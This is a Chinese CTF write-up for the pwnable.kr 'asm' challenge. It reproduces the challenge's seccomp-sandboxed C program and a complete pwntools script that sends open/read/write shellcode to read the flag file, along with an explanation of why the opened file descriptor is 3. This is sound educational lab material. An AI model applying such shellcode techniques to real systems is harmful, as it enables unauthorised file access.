这其实是一道挺简单的题,会用pwntools写shellcode就行了,不过里面有一个小点,网上别的文章从没有人提过,前两天学校有人讲座讲了这道题,然后也讲错了。。。不求甚解也得看情况。。
连上去,然后ls发现有这么几个文件,,
这是asm.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp errorn"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp errorn"); exit(0); } seccomp_release(ctx); } char stub[] = "x48x31xc0x48x31xdbx48x31xc9x48x31xd2x48x31xf6x48x31xffx48x31xedx4dx31xc0x4dx31xc9x4dx31xd2x4dx31xdbx4dx31xe4x4dx31xedx4dx31xf6x4dx31xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.n"); printf("If this does not challenge you. you should play 'asg' challenge :)n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; }
大体的意思就是你运行了这个程序,就进入了一个沙箱,只能在asm_pwn这个目录下操作,不能逾越这个目录。
然后他给了一段shellcode,在这段之后我们可以输入自己的shellcode,然后运行。
砂箱里面有规定,只能使用read() open() write()这三个函数来输出flag
once you connect to port 9026, the “asm” binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)
~
这是readme里面的话,,意思就是你连上了9026端口就相当于运行了asm程序,进入了沙箱。
asm.c里面的shellcode就不说了,网上千篇一律的都讲过,,作用就是清空所有寄存器。(用pwntools的disasm()可以shellcode转汇编)
其实也不难嘛,咱们构造shellcode只用到那三个函数把文件读出来就行了。。
网上千篇一律都是这样的exp,,也是挺对的,不过就让我怀疑有没有自己思考过。。
其实题没啥问题,正常做,不过前两天有个人给我们讲pwn说到这道题,有一个点讲的不对。
他说:“open之后呢,这个rax会置零,所以我们read的时候第一个参数就用rax里面的值”
我???
这句话我很怀疑,所以晚上这三个函数我都查了一遍。
从这我们就能知道,open返回的是句柄,012三个句柄是默认的,那么我们打开文件的时候句柄肯定不是012了,就是按打开文件的顺序计数,从3开始一直往后数。他讲的这个0我就吐了。。误人子弟么。。。不是黑这个讲课的,我也没有资格,我就是单纯的看不起,讲课也这么稀里糊涂的?给人讲课就上网上看一遍wp就vans了?自己都不想想题咋做的。。
网上也都是千篇一律的rax,其实在这个程序里,open之后返回的句柄是默认存在rax里没错,但是这个数是3,,因为这是为我们打开的第一个文件,所以句柄是3。然后这个值为3的句柄传入read的第一个参数,就相当于从文件里面读东西到rsp也就是栈上。
这是我写的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30#coding:utf-8 from pwn import * context(os='linux',arch='amd64',log_level='debug') sh = remote('pwnable.kr','9026') #pwnlib.shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8) #int open(const char *pathname, int flags, mode_t mode); #O_RDONLY 以只读方式打开 / O_WRONLY 以只写方式打开 /O_RDWR 以可读可写方式打开 #ssize_t write(int fd,void*buf,size_t count) #payload = shellcraft.amd64.pushstr('file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload = shellcraft.amd64.linux.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong',0) payload += shellcraft.amd64.linux.read(3,'rsp',0x200) # shellcraft.amd64.linux.read('rax','rsp',0x100) 网上都是这么写的 #open函数返回文件的句柄,, #read函数第一个参数,0代表stdin,1代表stdout,2代表stderr,大于2代表文件的句柄,按打开顺序计数 payload += shellcraft.amd64.linux.write(1,'rsp',0x200) sh.sendafter('shellcode: ',asm(payload)) sh.interactive()
运行验证一下
(注:因为我们在栈上读取的,所以读出来文件里的内容,我们还吧栈后面的内容都读出来了,比如那个很长的文件名,后面是一堆没用的参数。。)
这道题提醒自己,以后干什么都认真点吧。。。
最后
以上就是刻苦蜜蜂最近收集整理的关于pwnable.kr asm (open函数的探究)的全部内容,更多相关pwnable.kr内容请搜索靠谱客的其他文章。
发表评论 取消回复